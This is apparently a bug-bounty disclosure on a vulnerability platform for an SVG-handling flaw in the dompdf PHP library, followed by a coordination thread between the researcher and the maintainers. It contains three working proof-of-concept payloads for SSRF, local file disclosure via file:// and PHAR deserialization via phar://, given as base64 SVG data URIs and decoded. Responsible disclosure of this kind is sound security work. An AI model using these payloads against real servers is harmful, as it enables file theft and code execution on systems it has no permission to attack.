Improper Restriction of XML External Entity Reference in dompdf/dompdf
Reported on
Oct 12th 2021
Description
Improper restriction of external entities (XXE) in DomPDF's SVG parser allows it to perform an SSRF even if isRemoteEnabled set to false or even cause a deserialization attack in the SVG parser this time.
Proof of Concept
Payload 1 - SSRF (only allow_url_fopen required)
This embeds Google logo into the PDF document even when the isRemoteEnabled option is defaulted to false.
<?php
// Include autoloader
require_once 'dompdf/autoload.inc.php';
// Reference the Dompdf namespace
use Dompdf\Dompdf;
$dompdf = new Dompdf();
// Load HTML content
$dompdf->loadHtml('<img src="data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiIHN0YW5kYWxvbmU9Im5vIj8+CjxzdmcgeG1sbnM6c3ZnPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxuczp4bGluaz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94bGluayIgd2lkdGg9IjIwMCIgaGVpZ2h0PSIyMDAiPgo8aW1hZ2UgaGVpZ2h0PSIyMDAiIHdpZHRoPSIyMDAiIHhsaW5rOmhyZWY9Imh0dHBzOi8vd3d3Lmdvb2dsZS5jb20vaW1hZ2VzL2JyYW5kaW5nL2dvb2dsZWxvZ28vMXgvZ29vZ2xlbG9nb19jb2xvcl8yNzJ4OTJkcC5wbmciIC8+Cjwvc3ZnPg==">');
// (Optional) Setup the paper size and orientation
$dompdf->setPaper('A4', 'landscape');
// Render the HTML as PDF
$dompdf->render();
// Output the generated PDF to Browser
$dompdf->stream();
?>
For reference, this is the base64 decoded version in the SVG file:
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="200">
<image height="200" width="200" xlink:href="https://www.google.com/images/branding/googlelogo/1x/googlelogo_color_272x92dp.png" />
</svg>
Payload 2 - Image File disclosure (no requirements)
This causes the /var/www/html/index.jpg file to be included into the file.
<?php
// Include autoloader
require_once 'dompdf/autoload.inc.php';
// Reference the Dompdf namespace
use Dompdf\Dompdf;
$dompdf = new Dompdf();
// Load HTML content
$dompdf->loadHtml('<img src="data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiIHN0YW5kYWxvbmU9Im5vIj8+CjxzdmcgeG1sbnM6c3ZnPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxuczp4bGluaz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94bGluayIgd2lkdGg9IjIwMCIgaGVpZ2h0PSIyMDAiPgo8aW1hZ2UgaGVpZ2h0PSIyMDAiIHdpZHRoPSIyMDAiIHhsaW5rOmhyZWY9ImZpbGU6Ly8vdmFyL3d3dy9odG1sL2luZGV4LmpwZyIgLz4KPC9zdmc+">');
// (Optional) Setup the paper size and orientation
$dompdf->setPaper('A4', 'landscape');
// Render the HTML as PDF
$dompdf->render();
// Output the generated PDF to Browser
$dompdf->stream();
?>
For reference, this it the base64 decoded SVG file
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="200">
<image height="200" width="200" xlink:href="file:///var/www/html/index.jpg" />
</svg>
Payload 3 - Insecure PHAR deserialization (only file upload of phar file required [can change extension])
Using the phar-poc.php and create_phar.php from my previous report: https://huntr.dev/bounties/0bdddc12-ff67-4815-ab9f-6011a974f48e/
<?php
// Include autoloader
require_once 'dompdf/autoload.inc.php';
include("phar-poc.php");
// Reference the Dompdf namespace
use Dompdf\Dompdf;
$dompdf = new Dompdf();
// Load HTML content
$dompdf->loadHtml('<img src="data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiIHN0YW5kYWxvbmU9Im5vIj8+CjxzdmcgeG1sbnM6c3ZnPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxuczp4bGluaz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94bGluayIgd2lkdGg9IjIwMCIgaGVpZ2h0PSIyMDAiPgo8aW1hZ2UgaGVpZ2h0PSIyMDAiIHdpZHRoPSIyMDAiIHhsaW5rOmhyZWY9InBoYXI6Ly8vdmFyL3d3dy9odG1sL3Rlc3QucGhhci90ZXN0LnR4dCIgLz4KPC9zdmc+">');
// (Optional) Setup the paper size and orientation
$dompdf->setPaper('A4', 'landscape');
// Render the HTML as PDF
$dompdf->render();
// Output the generated PDF to Browser
$dompdf->stream();
?>
For reference this the base64 decoded of my SVG payload:
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="200">
<image height="200" width="200" xlink:href="phar:///var/www/html/test.phar/test.txt" />
</svg>
Impact
This vulnerability is capable of 1) performing an SSRF attack, 2) disclosure of internal image files in the internal network or host system, bypassing any chroot or isRemoteEnabled checks, 3) cause a PHAR deserialization with no isRemoteEnabled or allow_url_fopen requirements as the phar:// wrapper is now being passed to file_get_contents() into the php-svg-lib library and NOT the dompdf library.
Recommended Fix
Disable allowing external entities in the SVG parser.
Occurrences
Payload 1 only works when allow_url_fopen on, Payload 2 works in any scenario.
Apologies @maintainer, I have messed up the payloads earlier but I have fixed them, please recheck the report on the website to see the updated version
Confirming receipt of the vulnerability info. We have not yet had an opportunity to review.
Since Dompdf is dependent on the functionality of third-party libraries for SVG parsing there may be limited ability to resolve impact 1 & 2. I need to research more to see what capabilities there are for such restrictions with PDFLib. And php-svg-lib wasn't written with that level of security concern in mind, so some thought will have to be put into how to handle it.
The PHAR handling issue, on the other hand, is certainly addressable in the php-svg-lib project.
Hmm... ideally that there should be some form of integration between the isRemoteEnabled option in DomPDF and the SVG parsing.
An easier alternative would be to create a option for SVG rendering (much like the $isPhpEnabled option) and have it turned off by default.
quick not that some of the payloads we missing the ">, have added them here.
Hi @maintainer, if you are able to reproduce this, could you validate the report? As always, feel free to ask for any clarification or information if you need :)
@maintainer - are we able to confirm the fix against this report, and we can go ahead and publish the CVE! ♥️
We’re actively working on this (and the other security issues) now. Small team so focusing resources is a challenge. Would appreciate a bit more time to patch. Though I understand if you want to move forward.
Hi @admin - please allow the maintainers more time to patch.
Hi maintainers, thank you for reviewing the reports and please take your time in releasing a fix. :)
@maintainer - not at all, take the time that you need and we really appreciate the efforts your team is dedicating to security!
Was just more of a little bump to see where we are at! Once this has been patched and marked accordingly, let me know!
Hi @maintainer, any updates on the progress on the fix for the 4 issues? No pressure of course :)
Thanks for the patience. With other things cleared off my plate I'm starting work on these issues now. I should have updates for some of these in the near future.
@maintainer - are you able to mark as fixed
using the button below?
Trying to decide whether I should do that now or after we've published the next release. Next release is probably a few weeks away, though, so am OK if you want to move forward with publishing. You've been more than patient.
I see that marking as fixed has an option for the release so I'm thinking I should wait? I'll at least wait to see if any other contributors have suggested changes.
Also, the fix bounty doesn't have anybody listed so should I select "nobody"?
I think we can wait until next release. Also you can choose to award the fix bounty to yourself too
@brian - no rush, you are welcome to mark as fixed
once the patch has actually been released. Our platform is here to serve your needs just as much as the researcher, so please feel free to continue when you are ready.
The fix bounty can either be returned to the prize pot for future reports, or you can reward it to yourself 👍